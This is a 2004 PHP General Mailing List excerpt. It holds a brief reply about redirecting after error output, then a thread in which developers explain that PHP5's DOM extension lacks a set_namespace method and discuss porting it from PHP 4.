If you want them to view the 'error' page, ie output to the browser for 
the user to read, you cannot use php to redirect them after that.  Use 
JavaScript.  PHP == ServerSide, JavaScript == ClientSide.

--
By-Tor.com
It's all about the Rush
http://www.by-tor.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-15 Thread Christian Stocker


On 2/16/04 1:24 AM, Adam Bregenzer wrote:

On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:

As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
"real" nodes (why!?!) and the consequence is that you couldn't append such
a node with $node->appendChild($domnamspacenode_object); ...


I am not sure if PHP 5 has many changes from PHP 4, however have you
tried calling set_namespace[1]?
$node->set_namespace('http://www.somedomain.de/');
[1] http://www.php.net/domnode-set-namespace


Vivian, it's not possible the set the namespace according to the W3C 
standard, except with createElementNS(). As Adam said, in PHP 4, there 
was the option set_namespace, which isn't ported to PHP5 (yet).

Maybe we should port that function as well, to allow some deeper level 
manipulation of the namespaces...

Currently, I don't have a solution to your problem, except porting 
setNamespace to PHP5...

chregu

--
christian stocker | Bitflux GmbH | schoeneggstrasse 5 | ch-8004 zurich
phone +41 1 240 56 70 | mobile +41 76 561 88 60  | fax +41 1 240 56 71
http://www.bitflux.ch  |  [EMAIL PROTECTED]  |  gnupg-keyid 0x5CE1DECB
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php